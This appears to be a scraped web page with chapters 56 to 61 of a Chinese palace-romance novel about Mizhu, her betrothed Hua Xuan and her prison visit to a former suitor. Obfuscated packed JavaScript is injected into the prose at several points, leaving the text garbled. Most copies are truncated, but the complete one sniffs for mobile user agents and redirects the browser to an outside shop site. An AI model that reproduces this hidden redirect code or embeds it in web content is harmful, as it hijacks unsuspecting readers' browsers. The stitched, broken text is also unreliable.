她甚至为对方捏一把汗,这人是真不要命了吗。怎么连这种王府都敢进,不怕被抓到吗。 不知是不是自己的错觉,蜜珠也不敢出声试探,只等走到了大门口,借着转身的空档,她猛地回头。 诶嘿。在她看去的那棵树上,可不巧刚好站着个人影。 好悬没把蜜珠吓出一声惊呼来。 “!!”她瞪了一眼那人影。 树上的某人双手环抱于胸,施施然靠着树,嘴角勾起一丝笑。 真可爱。他的未婚妻真可爱。 56.第 56 章 明明是在自家院子里,但为了多看未婚妻一眼,便得像个江洋大盗一样各种飞檐走壁,选着各种叫人瞧不见的角度。 但华宣偏偏甘之如饴。 早在未婚妻上门来拜访时,他就得了信儿等在亭子上方。 亭子里娘和小妹与未婚妻交谈喝花酿,他就看着四周池塘荷莲,看着是赏景,却是在赏一种七夕鹊桥相会的感情。 蜜珠瞧一草一木时,他就好像也坐在对方身旁,并肩看四周的一切。 王府里早就看腻了的风景,也因着佳人的缘故,被染上了不同的颜色。 等到听见蜜珠和娘坦白,从前曾有过意中人这段话时。 出奇的,华宣察觉自己心中涌出的情绪,不是生气、失意、难过。而是心疼、庆幸。 所以他放出了那只白鸽,来暗示娘不要吓坏蜜珠,不要再把话题往下继续延伸了。 他根本就不在乎那些东西。 若真要计较,早在暗卫查出一些过往,想要和他汇报时,他就听了。 因着出身环境的复杂,华宣过早体察到这个世间对女子的恶意。 祖母作为前朝皇族的最后一名后裔,顶着前朝公主的身份步履维艰,一辈子枯守在后宅,活成了一朵枯萎的花。 华宣从不曾想刻意去和哪个女子建立连接,从而绑缚上新的责任。 可蜜珠是老天送到他面前的。 他和黑子回京城的那日,倘若不是遇到出城的蜜珠躲避,他那么重的伤,无法通过城门就会被人发现。 届时要么被挡在城门之外,要么就是被认出身份。 倘若他那坐在龙椅上的舅舅,知道了早就痴傻的他竟然一直隐瞒真相,那被打消了的提防和杀心,恐怕会重新拾起。 那么他必定会以痴傻世子的身份,不声不响的死于暴毙。 作为皇室后裔中的一员,身处在权力的旋涡中心,华宣明白人心是什么东西。 尤其是天子的人心。 只有他和祖母才知道,此次回京能活下来,有多惊险。 娘毕竟是明帝的亲妹妹,兄妹之间的感情早年的确真挚,有这份亲情在,一些只要深思就能想明白的阴谋与权术,娘是不敢往上面真的想的。 难道要指望娘明白,他能被人下毒变得痴傻,从一开始就是帝王心事,借着旁人的手完成。 而他若是不傻,等在他前方的就是更凶险的夺命之路。 就比如那次进宫回来的路上遇到了刺客。 有刺客是假,帝皇的百般试探才是真。 从这些点点滴滴的阴谋暗算中淌过来,华宣心中明白,在城门外初见蜜珠的那一日,是自己的改命之日。 而蜜珠…是上天送给他的宝贝。 * 一路上蜜珠都不怎么踏实,甚至都没顾得上去看妆匣里的东西。 还是小柳儿好奇,瞅着妆匣上的花纹式样开口:“小姐,这妆匣真好看。” 一看就是用上好的木料做的,光泽都不一样。 蜜珠这才回过神,想起来打开妆匣。 打开之前,其实心中就已经做了准备,但等真的看到妆匣里的东西时,蜜珠等人还是差点被晃瞎了眼睛。 长公主几乎是把各种金钗步摇和珠宝,都不要钱似的往里头塞。 那么沉甸甸的妆匣,里头的首饰,几乎把边角落里都塞满了,鼓鼓囊囊,简直比亲娘送女儿出嫁偷偷塞嫁妆还要阔气。 蜜珠身旁的几人,一时间都不说话了。 好半晌,小柳儿轻声感慨。 “京城里都在私底下悄悄说,南宁王府只是个空壳子,仗着长公主殿下的名声,才得到别人几分敬重,实则穷到两袖清风。这几次瞧着他们使劲儿给小姐塞首饰,才知道这些人是在以讹传讹。” 哪里像他们说的那样啊。 南宁王府阔气到不行,富到没边! 蜜珠懵懵的将妆匣合上,神情有些木。 “为何长公主他们,待我这般…” 她看向了南宁王府送来的宫人夏草,先前她和夏草因着生疏,也不怎么多说话。 而今这个疑惑,却是问夏草,最是合适。 夏草斟酌了片刻,才小心回答新主子的问题。 “回主子,长公主殿下素来就是宽厚爽朗的性子,尤其是对自己身边亲近的人。虽说世人都传殿下被先帝和当今陛下宠着让着,难免有些跋扈。但只有我们这些跟前伺候着,真正相处的人才晓得,殿下并不是那样的人。世人只是将自己的想象,放到了殿下身上罢了。” “她生了世子后,便一直为世子操心,而今见他能娶到像主子您这么好的姑娘,殿下心中开心呐。” 这一开心,不就想往外散财庆祝么。 但给别人散都不值当,给未来的儿媳妇散,那心里不知道有多舒坦。 夏草能被派来贴身伺候蜜珠,负责她的安全,但心思也是有几分细腻的,能想到点子上。 她看出来蜜珠是觉得受之有愧,对于南宁王府的大手笔,有些过意不去,便柔声安慰道。 “主子,您该这么想,长公主殿下是盼着您日后进门了能顺顺当当,和世子好好过日子。她也是当娘的人,也成了亲,自然知道离开家后腰间多一些资财,才更能傍身。她是推己及人,才想着多给一些金银器皿,好让你安安心心。” “您若安心踏实了,对王府来说,也是好事一桩啊。” 夏草并不讲什么别的大道理,她只让新主子知道,南宁王府和传闻中不一样,且对新主子是满含善意的。 听着夏草的极力安慰,蜜珠抿唇,娇花似的脸蛋,浮现了几丝纠结。 “我只是觉得…没有这么收下来的道理。” 没听过谁家成亲之前,门还没过,就从夫家得来那么多好东西的。 饶是蜜珠没那么贪财,都忍不住为南宁王府的大方感到震惊。 她愈发觉得,南宁王府一家子都是好人,前世世子暴毙而亡,实在是太可惜了。 她… 因着这个妆匣的打岔,蜜珠成功将无名忘在了脑后,顾不得去想对方了。 今日回去之后,连着喝了义结金兰的酒,还有花酿,蜜珠沐浴过后,躺到床上睡得好香。 一夜无梦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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方才听到“天命”“命数”几个字时,她睫毛颤了颤,显然也是有所触动的。 若是曲立封让人传别的话,蜜珠还不会放在心上。 可涉及到虚无缥缈的天道,她难免会注意上几分。 一个人本不会无缘无故提起这些,何况曲立封以前性子高傲,除了对她会说上几句甜言蜜语,提起别的,总是不屑一顾,甚至认定了人定胜天,根本不相信什么命数的。 联想到自己和妹妹蜜云都有过一些古怪的经历。 她重生,而蜜云则做了前世的梦。那么曲立封忽然让人传话说起这些,是不是也知道了什么? 不得不说,歪打正着,蜜珠想到了真相。 可就算曲立封和她或者蜜云一样,知道了前世的命运发展,又能如何呢。 到了现在,经历过几件事情后,蜜珠就明白了一件事。 命运不是无法改变。 有时候只要避开了无形中的那个手,遇到贵人,或者自己的性情变了,本注定的命运轨迹,也会跟着变掉。 57.第 57 章 蜜珠最终还是决定去看一下曲立封。 若有未知的问题放在那里,却不去看,也许随着年月推移,会变成另外一种存在的心结。 既是做了这个打算,今日去月夫人那儿时,她并没有带上夏草,只让她在蜜府候着自己回来。 等今日从月夫人的府上回来之后,趁着日头还没落下去,蜜珠到了衙门大牢。 守着大牢的狱卒本在那打瞌睡,瞧见蜜珠这样的娇小姐带着丫鬟婆子来到大牢,立刻精神起来。 虽说关在牢里头,是不允许其他人轻易来见的,但架不住有那些贵人手头阔绰,从指头缝里给他们使些银钱酒钱,那给个方便之门倒也无妨。 蜜珠停下步子,对着露出一口黄牙笑着的狱卒轻声道。 “可否行个方便,容我们进去见一见人。” 等说了曲立封的名字后,狱卒收了一旁的小柳儿递过来的碎银,立刻点头道。 “好说好说,不过是个书生罢了,过段时日,知县大人就要送他去流放了,只能放你们进去说个一柱香的话。” 当狱足毕竟是个清水差事,没什么油水,要想日子过得好点,自然得有些别的来处。 所以只要里头关着的人不是犯了什么大事,但凡有其亲眷来瞧,狱卒都会给个方便。 当然,真正犯了大事的人,也不会关在这种知县衙门的大牢里。 小柳儿给碎银子时,颇有些不情不愿。 她现在很是后悔自己多嘴,才惹了小姐来这种腌扎之地跑一趟,大牢里头多污浊啊,连气都是污秽的… 就是她今日多了这一嘴,才惹得小姐不放心,特意过来瞧一下曲立封。 狱卒带着蜜珠等人朝里头绕了几绕,终于停在了一个牢房面前,只见角落里坐着一个头发乱蓬蓬的身影,下面是一堆稻草垫在他们睡的地上。 小柳儿还是头一次来这么糟糕的环境,往常在蜜府虽是丫鬟,但日子过得也顺遂。 这牢里头味道都臭烘烘的,她捏着鼻子,更加后悔了。 并且在心中暗下决心,往后说话做事之前,得向蓄月姐姐学学,多动一动脑袋,不然若她做错了事,还得小姐替她收拾烂摊子。 “喂,臭书生,有人来瞧你了!” 狱卒冲着里边吼了一声,粗声粗气的样子,和对着蜜珠他们的热情态度截然不同。 本在角落面壁思过的那道身影蓦地一动,等扭头看到是蜜珠时,他立刻扑了过来。 所幸隔着栏杆,他根本就没碰到蜜珠,就被拦在了那头,只留脸上的复杂和惊喜情绪残留。 “珠儿,你来瞧我了,我还以为你真的往后再也不见我了…” 曲立封喃喃自语,瞧着精神状态有些不稳定,说话都颠三倒四了起来。 小柳儿上前一步,将自家小姐挡在后头,扬着脖子,扬声道。 “曲公子,你到底有什么话,不如就在这儿说清楚,小姐来都来了。” 蜜珠没说话,只是一双杏眼看向曲立封,里头的神色甚是平静。比风吹过湖畔还不如,竟没掀起一丝波澜。 她瞧曲立封的眼神是如此的疏离,后者当然不是没有感觉。 本来满腔欢喜的曲立封脸上神情一顿,那双布满血丝的眼睛忽的暗淡下来,显露出几丝痛楚。 “珠儿,我始终不明白,难道我往日待你不够好吗?明明我们才是青梅竹马的,你却将过去的相处忘得一干二净,还待我如此狠心?” 只要想到所有的改变,都是从他和蜜珠夜半相会,然后被关到柴房狠狠晾了一夜开始,曲立封心中就充满了茫然疑惑,甚至还有过对蜜珠浓烈的怨恨。 他问起这话时神情激动,还被栏杆挡着,活脱脱一个阶下囚的样子,比起范进中举的癫狂样子还要狼狈。 小柳儿都在一旁替小姐捏一把冷汗了,就怕这曲立封失心疯了,做出些不管不顾的失礼行为来。 但蜜珠却显得很淡然,只是平静地望着对面的男子,好半晌平平淡淡开口。 “你也是读过书,知理明理的人,岂会不知道圣旨赐婚一下,由不得人半点选择。况且那些过去的事情,本就是小儿无知罢了。你若是能将心比心的想一想,自己被高官达贵的王侯之女看上了,还被赐了婚,你会拼着被砍头的命去抗旨吗。” 很明显,曲立封的答案是不会。 他这样注重功名前途,只为了一己之私的人,怎么可能放弃远达前途不要,反去与皇权对抗,只为了蜜珠? 从骨子里,曲立封就不是那种重情的人。 只是有些事他自己做得,别人就做不得。 当曲立封是那个被抛弃的人时,他就接受不了了。 如今,他身陷囹圄,隔着大牢,看着蜜珠亭亭玉立站在自己面前,好似在瞧一个陌生人,心中五味杂陈,说不清是什么复杂滋味。 方才猛地面对蜜珠的问题,一时之间,他竟然找不到话去反驳。 因为蜜珠是如此的了解他。 若真有高官贵女瞧上了他,要让他做乘龙快婿,他会反对吗。 答案当然是不会。 哪怕他心中中意蜜珠,知道对方才是自己的小青梅。 可对男子来说,历来只有功名利禄和地位的提升才是重要的事情,情爱只不过是锦上添花的事儿罢了。 大不了享个齐人之福。 等与达官贵女成亲了,日后再一台小轿将蜜珠带到府中纳为妾室。 只是这些话,对如今站在面前的蜜珠,又是不好说出口的了。 未曾发生的事情,又哪里有辩驳清楚的必要? 曲立封死死盯着蜜珠,忽然沙哑着声音道。 “你不该嫁给南宁世子,他活不长。” 此话一出,蜜珠垂在袖子里的手指紧了紧。 果然。 曲立封能说出这样的话,一定是知道了什么。或许真的如她所想,对方样儿知道了前世命运的轨迹。 见蜜珠面色依然平静,曲立封急了,声音带上了几丝紧迫,却顾忌着旁边还有其他的牢房,压低声音道。 “你怎么不懂呢?若嫁他,日后没有好结果。想想他是谁的子嗣,靠的谁,再往上又是谁。” 在他突然多出来的记忆里,南宁王府的世子暴毙之后没多久,长公主也得病,后来整个王府被查封,就此败落。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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比起昔日在柴房,对着曲立封放狠话时还有些发抖的样子,如今的小柳儿讲话声势厉害许多,不再那么怕事,底气也足了。 兴许是这段日子跟在蜜珠身边,见多了贵人,便先把三分胆气练了出来。 话都说完了,蜜珠也没再逗留下去。今日来此一趟,也只不过是将心底疑惑解了而已。 同样的,她也发现自己有了很大的变化,面对前世将自己困在下堂煎熬无比的负心汉,如今竟是连丝毫轻蔑的情绪都生不起来。 可见这个世界是很大的,女子不能将自己就这么困在后宅和情情爱爱中,以为遇见一个男子相爱成亲便是一辈子的全部。 … 等到回府的时候,蜜珠见过了蜜云和蜜林两人,见他们习武招式愈发有模有样,心中不觉有些惭愧。 她因着去月夫人那儿学东西,不知不觉就落后了许多。 正有些惆怅呢,黄昏时便听到窗外有响动。 熟悉的一支箭羽,出现在窗户缝隙中。 ——又是无名。 58.第 58 章 蜜珠没有起身去开窗,而是任由窗户被叩响。 想起来在南宁王府,见到无名的惊讶和担忧,她这会儿就有些生气。 窗外的人,似乎也感受到了蜜珠的情绪,并没有一直等下去。响动停了,不再有声音。 蜜珠气哼哼将被褥拉过,盖住了脑顶。 她打算以后都不见无名了。 若是每次对方一来,或者一做点什么引起她注意,她便马上紧张重视和搭理,岂不是让人家拿捏住了软肋? 过去她又没有接触过江湖中人,无名是第一个,对方走南闯北见的人多,蜜珠可不觉得自己是什么特别的人。 多半…多半就是对方鲜少接触世家贵女,然后才来逗逗她罢了。 况且她还是一个已经定了亲的姑娘,便更加不能容许私情的存在。 男子可真是一种奇怪的动物。 比如说曲立封,明知道她如今对他已经没有任何情意,而且两人之间是断无可能的了,却偏要作出一副情深义重来挽回她的样子。 这到底是真的觉得失去了她,悔不当初呢,还是因为得不到,才生出了不甘心和意难平? 无名会不会也有这样的心理。 就好比一个本来没什么人抢的东西,它在那好好的,就没什么人觉得它多好,倘若有两人来抢,登时那东西就变得天底下顶顶重要,让人觉得抢不过来连饭都吃不好了。 两世为人,蜜珠很珍惜很珍惜如今的生活,也珍惜自己的命。 她再也不再是那个,会相信男子深情的人了。 相信别人,不如相信自己。 蜜珠很快就将男人们的事情扔到了脑后,进入了梦乡。 第二日醒来时,却听小柳儿和她说,窗外不知道是谁落了一个包裹在那。 蓄月不做声,只观察自家姑娘的神态。 蜜珠正在喝粥,听到这事儿,睫毛颤了几下,却没抬眸,等将一碗粥喝完了,才对小柳儿道。 “将夏草喊进来。” 听到要把夏草喊到房里来,蓄月和小柳儿都对视了一眼,有些惊诧。 夏草先前是王府的人,一直在长公主身边的,此人到底不是府里的家生子,好些事情也不好完全让对方知道。小姐喊她来,难道是想…… “往后,你便也在我身边陪着吧。” 蜜珠喊来了夏草后,果真说了这话。 既是光明正大活着,便没什么不可对人言的事。 曲立封不日就要被流放。 既然无名能仗着功夫,随意在她视线范围内出现,那她便也让功夫高的人在旁边陪着。 无名悄悄放在窗外的那个包裹,蜜珠则让小柳儿转交给了阿晴教习。 “我们小姐说,还得劳烦阿晴教习,把这些东西还给你们少主。” 阿晴张了张嘴,变成了哑巴,没能说出话来。 有点想笑。 世子爷好惨哦,给正儿八经的未婚妻送东西,竟然被拒绝。 而且好像被当成了那种死缠烂打的登徒子。 她忍住笑,神色都变得有些古怪,保证道。 “让蜜姑娘放心,我会把这些东西还回去。” 蜜珠这边,解决完了无名放到窗外的烫手山芋,瞧着夏草在身旁,她忍不住多问了一句。 “夏草,你功夫高吗?” 夏草难得见到新主子这么郑重其事的和自己说话,不由也认真起来。 “若真是遇到危险,奴婢能对上四五个成年男子不落下风。” 这还是她稍微收敛了一些说的,若是算上那些个暗器和其他封喉见血的招数,对付七八个人还是可以的。 只是怕吓到了新主子,才不敢这样说。 新主子瞧着就是性情温和的姑娘,平日里应该鲜少接触到打打杀杀的东西。 蜜珠沉默,在心里估算了一下夏草和无名之间的功夫,半晌又问。 “那你的轻功高吗?” 夏草愣了一下,有些赧然。 “轻功并不是奴婢的长处。” 她最擅长的还是贴身保护。 蜜珠见状,忙安慰道:“你这样已经很好了。若是…若是有人轻功极为高明,在附近出现,你能发现吗?” 她到底还是又多问了一句。 想知道若是夏草在身旁时时陪着,无名这样的轻功,是否会被发现。 夏草沉思片刻:“倘若对方隐藏起来刻意不动,奴婢许是会错判。但若他动了,奴婢定然能察觉。” 有了夏草这番斩钉截铁的保证,蜜珠舒了一口气,整个人放松下来些许。 她眉眼弯弯,笑起来恍若眼底有星月。 “那往后,我周身的安危就交给你啦。” 夏草自然是低头应是。 其实要说起贴身保护,最厉害的应是世子爷暗中养的那些暗卫了。 夏草其实心中也能感觉到,王府众人应是极为重视这位新主子的。 她自小就被暗中培养读书习武,一样都没落下,像她这般会武的婢女,哪怕王府里也找不到几个来。她是其中的佼佼者。 可长公主将她派来时,半点都没有心疼,反而叮嘱过她,要好好保护未来世子妃。 她心中就明白了,未来世子妃将来入了府,地位不会低。 这门亲事,可不像京城众人以为的那样,只是皇帝匆匆点了个鸳鸯谱。 王府还是颇为认可它的。 * 当华宣再次从暗卫那里,听到了蜜珠退包裹回来的那几句话时,不由沉默了片刻。 距离成亲还有两个月。 这日子如此难熬,他却不能用未婚夫的身份,正大光明去见自己的未婚妻。 如今便是连无名这个身份,也被蜜珠拒之门外了。 但他心中知道,此事怪不了蜜珠。 人家姑娘守礼,不愿意去接受江湖男子送的东西,不愿发生什么情愫,本就正常。 是他被有些忘乎所以,被迷了心智,便连自己如今在什么位置都不知道了。 月上枝头,华宣那张清俊的脸,因着几分自嘲,显露出了谪仙一般的无奈。 他沉默,暗卫就也不敢吭声,过了一会儿,才瞅着世子的脸色,继续补上一句。 “蜜姑娘还将夏草调到了身边。往后小的不能走太近了,否则会被夏草察觉到。” 夏草和他们这些暗卫,并不是同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小妹。”蜜珠也伸手去捏姜芊的脸,知道对方故意打趣自己。 几个人笑了一阵,白豆蔻才对蜜珠正色道。 “收下吧。来日成亲,得让我们坐到娘家人那一桌。” 她和姜芊就是想在那一日,让所有人都知道,白家和姜家,都是蜜珠的后盾。 当然,他们也知道南宁王府处境特殊,世子那个的前朝公主祖母,始终是一个隐患。 但既是在天地面前拜过当姐妹的,便不该为了这么点东西去患得患失犹豫。 路是人走出来的。 蜜珠知道了两人是真心为自己好,一时又被感动,眼眶又发红。 呜呜呜,想到前世她和曲立封在一起,关在后宅被监禁的日子,再看看如今,蜜珠生出一股对自己的责怪。 若她早一点醒来就好了。 似乎比起男子的甜言蜜语,女子间的姐妹情谊更加深厚稳定可信。 她爱重生过的一切。 59.第 59 章 蜜珠如今可是有不少压箱底的私房钱啦。 就连王氏过来陪女儿清点库房时,都被吓了一跳。 和南宁王府订婚至今,不到一个月里,女儿竟然已经攒下了这么多头面首饰和绫罗绸缎。 这还没算上王府和聘礼一起抬过来,给女儿添妆的十万两银票呢。 “娘,我用不到这么多首饰,给你留着吧。” 蜜珠看了一眼账本,自个儿心里也砰砰跳。 她爹就是个小官,她打小就没见过这么多金银珠宝,总会有些担心自己处理不好这些东西。 王氏见她这般,就轻轻点了她一下脑门,笑话道。 “傻孩子。娘都这么老了,早就为人妇了,哪里需要这些。到我这个年纪,只等着抱外孙,看着你和和美美过日子,才是娘盼着的心愿。别的就不求了。” 蜜珠听不得娘说这些,闻言撒娇抱住她,像小猫那样蹭了蹭脑袋。 “娘,不许你这么说。你哪里老啦?” “那日豆蔻和姜芊来咱们家,看到你后,不住地夸你呢。我娘一点儿不老,就该美美的。反正我就是要把这些给娘。” 她娘嫁给了爹之后,其实都没过过什么好日子。 爹小气,对娘也没有什么关怀。 这么一想,这些年来,娘其实一直都在熬日子,熬着等她长大。 从前她长在这样的环境里,便以为这是寻常的日子,娘这般过日子也是正常的。可等到现在,有了自己的思考,也见过了一些人,听了一些道理后才发现。 有些习以为常的东西,其实只是因为无可奈何。 “娘,你最疼我,我自然也这般疼你。娘难道就真的不喜欢金银首饰吗?” 哪个女子不爱美?往前推十几年,娘也是个天真无邪的小姑娘啊。 王氏被她这般缠得没办法,只能叹道。 “罢了罢了,娘听你的,留下一些,帮你收着。” 话是这么说,但当蜜珠选了一根最好看的珠钗帮着娘戴上,然后又从金玉阁买的一盒胭脂中,选了一个颜色,帮着娘上妆。 “你何时变得如此手巧?” 王氏看着镜子里焕然一新的自己,都有些不敢认了。 她已经有好些年没好好打扮了,反正老爷的心一直都不在她身上,她就没指望老爷宠幸。 身为正房夫人,她唯一的缺憾就是没能诞下嫡子。 但自从女儿和她说起,生不出儿子是老爷自己没本事,和她无关后。莫名的,王氏心里那根弦松开了,不再那么紧绷着。 对镜贴花黄这事儿,王氏已经是有许多年没做过了。 而今瞧着铜镜里的自己,涂了一层浅浅口脂,整张脸的气色都好了许多,珠钗艳丽,又多添了一层富贵。 王氏心情都变好了起来,忍不住笑。 “娘,瞧,这些首饰你不用,就是让它们明珠蒙尘。” 王氏嘴上说着自己老了,用不着这些,但心里显然是另外一种滋味,眉开眼笑的样子,瞧着都年轻了十岁。 “哎,说不过你。” 难得和娘有这些温馨相处的时刻,蜜珠也很珍惜。 王氏便和她说起,这几日家中发生的事儿。 “你爹已经提前打点过,把蜜林安排进方圆书院。” 方圆书院,蜜珠是知道的。 进了那里面的学子,便是文武双修,方圆书院里头还出过几个武状元,也算是比较有名气的书院了。 蜜林之前就说过,想要习武,但总跟在阿晴教习身边学,也不是个长久之道。 没想到这事儿真的落实下来了。 “爹竟真的愿意让蜜林去方圆书院?” 蜜珠不解,她爹难道不怕蜜林真的成了个武夫。 官场上文官总是压武官一头。 让蜜林习武强身健体,和让对方真正往习武的路子上走,意义还是不一样的。 王氏脸上笑容淡去了些许。 “你爹是什么性子,你也明白。他也知道蜜林不爱读书,总不能让这孩子在府里荒废了日子,到头来一事无成,让别人看笑话。” “与其如此,不如打点他去书院读书,将来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她若有所思。 蜜府的一切,似乎都在稳中向好。 蜜珠没有再见到过无名。 60.第 60 章 蜜珠的日子进入了很稳定的状态。 白日里和两个姐妹,在月夫人府上相聚,完成月夫人布置的任务。 等傍晚回来,便和妹妹蜜云,弟弟蜜林谈会天,偶尔也会跟着阿晴教习,在饭后把基础剑术再捡起来练一练。 她再和蜜云一起对练的时候,便发现对方的反应速度,已经远远胜过自己。 姐妹二人拿着树枝在那对练,有几次蜜云手里的树枝,都已经刺到她心口了,她才堪堪抬胳膊。 可想想一个月之前,蜜云和她一样,都还是对武艺没有半点了解的闺阁弱女子呢。 “妹妹的剑术看起来是一日千里。”蜜珠瞧见她这么厉害,是真心高兴。 坚持习武的蜜云,脸色比从前好看很多,瞧着精气神很足,一双眼睛也比从前亮,不再那么文静和胆怯。 被嫡姐夸了,蜜云就不好意思地笑。 “我只是笨鸟先飞,只能勤加练习罢了。阿晴教习说了,我的根骨一般,习武年龄又大上了一些,要想练出火候,便只能多下功夫。” 在后宅生活里,骤然打开了一扇通往江湖的习武大门,对蜜云来说,就像是第二条生命。 再加上她遇到过西域的拐子,还做过那种离奇的梦,便愈发觉得,女子要多一些保命功夫,这样才能在关键时候保护自己。 坚持习武,便是蜜云让自己改变的第一件事。 她这般勤奋,也反过来感染到了蜜珠。 蜜珠决定往后也要多增加一些时间,放在习武上。白日抽不出空,那便早一些起床,在辰时之前习武。 做事要有始有终! 既做了这个决定之后,蜜珠便不再和之前一样三天打鱼两天晒网,而是真正抓住一切能利用的间隙,在天还没亮就起来,然后跟着阿晴一起习武。 每当这时,夏草便会在一旁欲言又止。 新主子和一般姑娘还真不一样,明明等着嫁进南宁王府就行了,偏偏要这么辛苦自己去习武吃这份苦。 但她心底里,却因着这个,对自己的新主子多了几丝高看。 … 秋天快过去的时候,蜜珠的嫁衣已经准备好了,距离婚期只有半个月了。 这中间忽然有一日,小柳儿来和她说了一件稀罕事。 “小姐,曲立封曲公子似乎不见了。” “听说本来关在大牢呢,但好端端的,那间牢房就空了。” 此事颇为稀罕,一个手无缚鸡之力的读书人,竟然在狱卒的眼皮子底下消失了。 “稀罕的还不止这个,听说牢房里空了好几个人。狱卒实在瞒不过去,才将此事禀报上去。” “一起消失的,还有那帮西域中人。” 听小柳儿说起前头时,蜜珠还没什么反应,等听到“西域”两个字时,愣了愣。 “西域中人?” 她记得先前差点把蜜云拐走的那行人,就是西域过来的。后来被无名送到了衙门,关了起来。 这帮人消失了,曲立封也跟着消失了。 这两者竟会扯上关系? 蜜珠莫名有些担忧,总觉得心中有种不安的感觉。 小柳儿见自家小姐情绪不佳,忙安慰道。 “官差已经在四下搜捕他们了,想来这些人也跑不远。如今城门紧闭,寻常人根本出不去。” “希望如此。”蜜珠脸上神色恢复平静。 这个小插曲之后,蜜珠就又去了月夫人那儿。 这一个多月以来,月夫人几乎成了蜜珠的女夫子,与其说是在教他们规矩,不如说是在借着教规矩的名目,教会她们如何更好的生活。 如今蜜珠也通了些药理,虽然不多,但后宅中常见的一些药草,不论是救人的还是害人的,她都熟悉。 就连包扎一些简单的外伤,蜜珠也学会了。 今日是月夫人最后一次见她们。 看着坐下堂下的三个姑娘,月夫人平日里严肃的脸上,浮现了几丝浅浅笑意。 “天下无不散的宴席。我要教你们的,能教的都已经教了。往后的路,且盼着你们能互相扶持,明心见性,有幸福顺遂平安的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13753812|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一生。” 蜜珠鼻尖一酸,竟觉得很不舍。 两辈子加起来,第一次体会到,当学生是什么感觉。 尤其是遇到一个德高望重,又不求回报对你循循善诱的夫子。 “呜呜呜月夫人,我们舍不得你。”往日里甚至想着怎么装病,避开过来接受教导的姜芊,第一个哇出来。 有她带头,白豆蔻和蜜珠才敢表露情绪,也跟着红了眼圈。 她们都听过,月夫人是最后一次收学生了,教完她们之后,便要离开京城去养老。 想到就此一别后,往后天各一方,再也见不到,心中怎能不难过? 瞧着三个刚来时还略有些拘谨的姑娘,如今一个个要哭鼻子,跟小娃娃似的围着自己表达不舍,月夫人也笑得极为慈祥。 “从前听到学规矩,你们一个个都避之不及,怎么如今告诉你们学成出师了,却这般模样?” 她挨个揉揉三个姑娘的脑袋,像对自己亲生的小辈那样,叮嘱道。 “你们三人的婚事,多半都在京城贵人中选,一辈子注定了是荣华富贵衣食无忧。但却要知道,有时候凶险与遗憾,并不都由财富决定。” “人的贪心和欲望,会不断变大,直到掌控一个人的言行。豆蔻,你虽是皇后母族后人,有皇后当靠山,但哪怕是皇后娘娘,也有她的无奈之处。你若不嫁进皇家,兴许凭你的聪慧,这辈子没什么烦忧,但若…” 月夫人向来话少,但今日却将三人的境况一一点破,挨个细心叮嘱。 白豆蔻和姜芊,一下子哽咽起来,靠到月夫人手臂旁,像小鸟依恋着巢穴。 轮到蜜珠时,月夫人看了她半晌,忽的笑了。 “眼见为实,后福不浅。你是个好姑娘,上天定然也善待你,不叫你难过。” 这话说得有些不明白,蜜珠略有些不解。 月夫人似乎在和她打什么哑谜,在隐晦地提醒她。 可是她提醒的是什么呢? 当下这个气氛,又不好多追问,蜜珠只能将疑惑藏在心底。 61.第 61 章 蜜珠也不晓得,自己为何会一直琢磨月夫人留下来的话。 是说南宁王府的人其实很好,并不是外界传闻的那样,说什么长公主性子跋扈,肯定是个不好伺候的婆婆? 可是,这件事她早就已经弄明白了。 在她因着曲立封当街拦路,而主动去寻长公主说清楚过往时,便已经知道,长公主和一般女子不一样,胸怀宽广,且有容人之量。 稍微允许思绪放飞了一会儿后,蜜珠不再让自己多想。 月夫人又哄了一会儿三个姑娘,这才开口道。 “好了姑娘们,别这般孩子气。我又不是死了,只是回去养老享清福罢了。” 难得听到月夫人这般开玩笑,姜芊三人却都不依了。 “月夫人您肯定长命百岁!” “京城其实也很好,为何不留在这儿?” “您留这儿,我们还能常来看您。” 月夫人被她们三人的话逗笑了。 “你们日后有自己的家室,便是连娘家都往来不多,哪里还顾得上我?各人有各人的命,将自己的日子顾好便是了。” 慈姑在一旁看着月夫人说起这话的时候,脸上流露了几丝惆怅。 月夫人一辈子都没成亲,当然也就没有自己的子女。 虽作为京城里出了名的教养嬷嬷,也收了不少学生,但学生和自己亲生的孩子当然不一样,不能指望他们。 月夫人心里很明白这一点,也不想留在京城,等老了也卷到各种旋涡里。 一番依依惜别后,姜芊三人提议,等月夫人离京之前,一定要办个宴席,为她践行。 月夫人便笑着应了下来。 三人今日离开月夫人府邸时,每人都被送了一个礼物。 等到了马车上,蜜珠将礼盒打开,发现躺在里面的是一本药理手札。 